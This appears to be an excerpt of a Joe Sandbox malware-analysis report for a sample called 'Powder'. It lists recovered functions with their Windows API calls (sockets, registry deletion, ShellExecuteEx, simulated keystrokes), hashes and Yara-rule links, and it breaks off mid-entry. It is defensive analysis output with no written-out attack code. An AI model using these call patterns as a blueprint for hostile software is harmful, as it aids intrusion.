GetDC.USER32(00000000), ref: 00E86818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E86823
ReleaseDC.USER32(00000000,00000000), ref: 00E8682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00E8686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00E8687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00E8964F,?,?,000000FF,00000000,?,000000FF,?), ref: 00E868B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00E868D6

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 8b392923cb07fecb462fd9a1216fd5690bb4a593ff8c5031d1c8e950c603ba9d
Instruction ID: 7263491327d7fac8897a2bc3775d377fdb7f322653baff473a5c808620a3bb0a
Opcode Fuzzy Hash: 8b392923cb07fecb462fd9a1216fd5690bb4a593ff8c5031d1c8e950c603ba9d
Instruction Fuzzy Hash: 0E318B72101210BFEB159F15CC8AFEA3BA9EF49765F040062FE0CAA292C7759C51CBB0

Function 00E5C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00E5C75D
_memcmp.LIBCMT ref: 00E5C77F
_memcmp.LIBCMT ref: 00E5C797
_memcmp.LIBCMT ref: 00E5C7AA
_memcmp.LIBCMT ref: 00E5C7C4
_memcmp.LIBCMT ref: 00E5C7D7
_memcmp.LIBCMT ref: 00E5C7EF
_memcmp.LIBCMT ref: 00E5C80A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9eb654d84b1028e981a676c1e504822c92457d9b097727883bf918c60023ae13
Instruction ID: f3c0014f626842d8a345d0a8de4f0954ab636ea8a4ba69429a635297398d5af9
Opcode Fuzzy Hash: 9eb654d84b1028e981a676c1e504822c92457d9b097727883bf918c60023ae13
Instruction Fuzzy Hash: C52107766007157EDA0475309D62FAF77AC9E3874AF283421FD02B6A42F710EF19C6A1

Function 00E6F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

Part of subcall function 00E1436A: _wcscpy.LIBCMT ref: 00E1438D

_wcstok.LIBCMT ref: 00E6F2D7
_wcscpy.LIBCMT ref: 00E6F366
_memset.LIBCMT ref: 00E6F399

Strings

X, xrefs: 00E6F3D6

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 7496449c67837a7d7dccece17b832751c71212fcd02b471239f417cb44043cf3
Instruction ID: 76d07d452043470d7aedecbc4650e71dff1070644aad030202f1498181436b65
Opcode Fuzzy Hash: 7496449c67837a7d7dccece17b832751c71212fcd02b471239f417cb44043cf3
Instruction Fuzzy Hash: 71C19D716043419FC714EF24E891A9FB7E4BF84394F00696DF999A72A2DB30ED45CB82

Function 00E771EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00E772EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00E7730C
WSAGetLastError.WSOCK32(00000000), ref: 00E7731F
htons.WSOCK32(?,?,?,00000000,?), ref: 00E773D5
inet_ntoa.WSOCK32(?), ref: 00E77392

Part of subcall function 00E5B4EA: _strlen.LIBCMT ref: 00E5B4F4
Part of subcall function 00E5B4EA: _memmove.LIBCMT ref: 00E5B516

_strlen.LIBCMT ref: 00E7742F
_memmove.LIBCMT ref: 00E77498

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 155aa4b0be5d671e2e7718c040501f895ad3c52aae369be6816b1c03f982942a
Instruction ID: 8d97dc4ffd2e8ef900d8fbc89d2d6284d8f4c892a6457907d8160e25cce678a2
Opcode Fuzzy Hash: 155aa4b0be5d671e2e7718c040501f895ad3c52aae369be6816b1c03f982942a
Instruction Fuzzy Hash: 9C81A4B1208200AFD310EB24DC85E6BB7E8AF94714F14A919F595BB2E2EA70DD45CB91

Function 00E01800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bd0e1a7fa98d73e7b7349cf51ea8e682376de742e35faad8a30279bc19aa356
Instruction ID: 6275387f74fd856330b839ba1607e338c91a0332aef69c7a666fb1098d0ed6b4
Opcode Fuzzy Hash: 6bd0e1a7fa98d73e7b7349cf51ea8e682376de742e35faad8a30279bc19aa356
Instruction Fuzzy Hash: 9E715E70900509EFDB09CF59CC49AFEBBB9FF86314F148199F915BA291C7309A91CB60

Function 00E8B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(017A5348), ref: 00E8BA5D
IsWindowEnabled.USER32(017A5348), ref: 00E8BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00E8BB4D
SendMessageW.USER32(017A5348,000000B0,?,?), ref: 00E8BB84
IsDlgButtonChecked.USER32(?,?), ref: 00E8BBC1
GetWindowLongW.USER32(017A5348,000000EC), ref: 00E8BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00E8BBFB

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 719cd659b3a6e341f48b5200c201affd456fbfe416a53cb4e1a7523839b4e995
Instruction ID: ab285536aa1a553aeda381a0442dc88535dead6fc4b5420137cdf6cf7e722fb1
Opcode Fuzzy Hash: 719cd659b3a6e341f48b5200c201affd456fbfe416a53cb4e1a7523839b4e995
Instruction Fuzzy Hash: 2871C034604204AFDB29EF54C894FFABBB5EF49304F14509AE99DB7261C732AC51DB50

Function 00E7FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E7FB31
_memset.LIBCMT ref: 00E7FBFA
ShellExecuteExW.SHELL32(?), ref: 00E7FC3F

Part of subcall function 00E04D37: __itow.LIBCMT ref: 00E04D62
Part of subcall function 00E04D37: __swprintf.LIBCMT ref: 00E04DAC

Part of subcall function 00E1436A: _wcscpy.LIBCMT ref: 00E1438D

GetProcessId.KERNEL32(00000000), ref: 00E7FCB6
CloseHandle.KERNEL32(00000000), ref: 00E7FCE5

Strings

@, xrefs: 00E7FC0E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 17b0f7d19e3717ad34cf0bd225dde12de037e41eb4e31d577828d18ab89d3461
Instruction ID: e839aaf6e2ad2a9d035be2290b4b1ed7d31311cba4e005b44ff81772c41f3d69
Opcode Fuzzy Hash: 17b0f7d19e3717ad34cf0bd225dde12de037e41eb4e31d577828d18ab89d3461
Instruction Fuzzy Hash: 4C61BCB1A00619DFCB15EFA4C5909AEF7F4FF08310B149569E85ABB391CB30AD81CB94

Function 00E6174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00E6178B
GetKeyboardState.USER32(?), ref: 00E617A0
SetKeyboardState.USER32(?), ref: 00E61801
PostMessageW.USER32(?,00000101,00000010,?), ref: 00E6182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 00E6184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00E61894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00E618B7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 6bece2801accdd35c9314d727a0a7494560afb4cbbb240449e790f3c2ecbaf48
Instruction ID: e9a52898f1a20d31d0fdc64b2c8f2128743debf0c56926c8ca26986ba14de0c4
Opcode Fuzzy Hash: 6bece2801accdd35c9314d727a0a7494560afb4cbbb240449e790f3c2ecbaf48
Instruction Fuzzy Hash: D851E6609887D53EFB374238DC55BBA7EE95B06388F0C95CAE1D5668C3C294ACC4D750

Function 00E61565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00E615A4
GetKeyboardState.USER32(?), ref: 00E615B9
SetKeyboardState.USER32(?), ref: 00E6161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00E61646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00E61663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00E616A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00E616C8

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4d0b49ab4ea7d9f3fc8fcebffb61315fa0668c39587e804ea7eb0a5654823bf9
Instruction ID: 23e8530b4189a8388db772bd1ef838d1ff2a0337a7915b73fb9034e05b265259
Opcode Fuzzy Hash: 4d0b49ab4ea7d9f3fc8fcebffb61315fa0668c39587e804ea7eb0a5654823bf9
Instruction Fuzzy Hash: F25126A05887D13DFB338724DC05BBABEE95B06388F0C94CAE0D5668C3C694EC98E751

Function 00E65BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00E65BC5
_wcsncpy.LIBCMT ref: 00E65BFA
_wcsncpy.LIBCMT ref: 00E65C2C
_wcsncpy.LIBCMT ref: 00E65C5F
_wcsncpy.LIBCMT ref: 00E65CA1
_wcsncpy.LIBCMT ref: 00E65CDB
_wcsncpy.LIBCMT ref: 00E65D0A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 6ec6c5c2dacc796841c72d44dc0eeaa06a04f0e77f84a23fd440889ef83166ab
Instruction ID: f7f267185f70b25d01fce51632cf7f1eb5cd6bf20d5c968dca219f1ebdff3aaf
Opcode Fuzzy Hash: 6ec6c5c2dacc796841c72d44dc0eeaa06a04f0e77f84a23fd440889ef83166ab
Instruction Fuzzy Hash: A641CEA6C60628B5CB11FBB4DC4A9CFB3F9AF04310F11A856EA09F3161E634A315C7A5

Function 00E63B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E64BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E63B8A,?), ref: 00E64BE0

Part of subcall function 00E64BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E63B8A,?), ref: 00E64BF9

lstrcmpiW.KERNEL32(?,?), ref: 00E63BAA
_wcscmp.LIBCMT ref: 00E63BC6
MoveFileW.KERNEL32(?,?), ref: 00E63BDE
_wcscat.LIBCMT ref: 00E63C26
SHFileOperationW.SHELL32(?), ref: 00E63C92

Strings

\*.*, xrefs: 00E63C20

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 2f034437d52848897976e73c18f86699e42c50b140f3517832ba9122dd999355
Instruction ID: 777d2aa310236ec14bc97584661acaf7afd1e32be569f153a78b30f8fda79902
Opcode Fuzzy Hash: 2f034437d52848897976e73c18f86699e42c50b140f3517832ba9122dd999355
Instruction Fuzzy Hash: A3418F7154C344AEC752EF74E485ADBB7E8AF88380F40296EF499E3191EB34D688C752

Function 00E878B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E878CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E87976
IsMenu.USER32(?), ref: 00E8798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E879D6
DrawMenuBar.USER32 ref: 00E879E9

Strings

0, xrefs: 00E878C3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 6765c0ffa1b98dbc3a26f97105793c60ca59826536eb65f6982b0e8e3ba6ae76
Instruction ID: 6bf1879cb5e29f0ca9dc6374bc1ad173e6f1fc71149bf2fc970b380e76f5f150
Opcode Fuzzy Hash: 6765c0ffa1b98dbc3a26f97105793c60ca59826536eb65f6982b0e8e3ba6ae76
Instruction Fuzzy Hash: 87414871A04208EFDB20EF54D884E9ABBF5FB45314F15912AE99DA7250C731ED54CFA0

Function 00E81602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00E81631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E8165B
FreeLibrary.KERNEL32(00000000), ref: 00E81712

Part of subcall function 00E81602: RegCloseKey.ADVAPI32(?), ref: 00E81678
Part of subcall function 00E81602: FreeLibrary.KERNEL32(?), ref: 00E816CA
Part of subcall function 00E81602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00E816ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 00E816B5

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 3c2737304bdc7866fe8e0526ad638e6c764719bcc8044fe1c1e211d2229e23a9
Instruction ID: 3ad4ebc9da260e9f2801bd76a2455a616d89e56e86e9d59ca0a08d5e97ff287e
Opcode Fuzzy Hash: 3c2737304bdc7866fe8e0526ad638e6c764719bcc8044fe1c1e211d2229e23a9
Instruction Fuzzy Hash: 87315EB1901109BFDB149F91DC85EFEB7BCEF09304F4011ABE519B2140EB719E4A9BA0

Function 00E868F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00E86911
GetWindowLongW.USER32(017A5348,000000F0), ref: 00E86944
GetWindowLongW.USER32(017A5348,000000F0), ref: 00E86979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00E869AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00E869D5
GetWindowLongW.USER32(?,000000F0), ref: 00E869E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E86A00

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 2c2fbbdaa7c8da0747c042a0ea0335a46ac23020749070953a7c5881706e9fc5
Instruction ID: 9afd853b86353ec16504514f8107027ae85364c6291a6a8e62fb981d70aafeb7
Opcode Fuzzy Hash: 2c2fbbdaa7c8da0747c042a0ea0335a46ac23020749070953a7c5881706e9fc5
Instruction Fuzzy Hash: 91313571604160AFDB21DF59DC88F6437E5EB89318F1921A5FA58AF2F2CB72AC44CB41

Function 00E5E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E5E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E5E2F0
SysAllocString.OLEAUT32(00000000), ref: 00E5E2F3
SysAllocString.OLEAUT32(?), ref: 00E5E311
SysFreeString.OLEAUT32(?), ref: 00E5E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 00E5E33F
SysAllocString.OLEAUT32(?), ref: 00E5E34D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 41d8e807499cb53db90882ca9dc359bf5c2bb8c39fa428705e0ff1403da18f7f
Instruction ID: ff8ecea15d1250efda78aecd21f81b9c633d751edc007d1cccbb523cd640ae7b
Opcode Fuzzy Hash: 41d8e807499cb53db90882ca9dc359bf5c2bb8c39fa428705e0ff1403da18f7f
Instruction Fuzzy Hash: 5921B276600219BF9F14DFA9DC88CBB73ACEB08364B448526FE54EB350D670AD498760

Function 00E7685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E78475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00E784A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00E768B1
WSAGetLastError.WSOCK32(00000000), ref: 00E768C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00E768F9
connect.WSOCK32(00000000,?,00000010), ref: 00E76902
WSAGetLastError.WSOCK32 ref: 00E7690C
closesocket.WSOCK32(00000000), ref: 00E76935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00E7694E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: c1c00bd64e21644c82704d73d75bc69786116991d72ef47b321f99c92bae870f
Instruction ID: 58d024caba97f726f04037c5bd98e066db8c5de03f24c3b1e22dbe0917c69b08
Opcode Fuzzy Hash: c1c00bd64e21644c82704d73d75bc69786116991d72ef47b321f99c92bae870f
Instruction Fuzzy Hash: 6231C471200604AFDB14AF64CC85BBE77A9EB44729F04801AFD09B72D1CB70AD448BA1

Function 00E5E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00E5E3A5
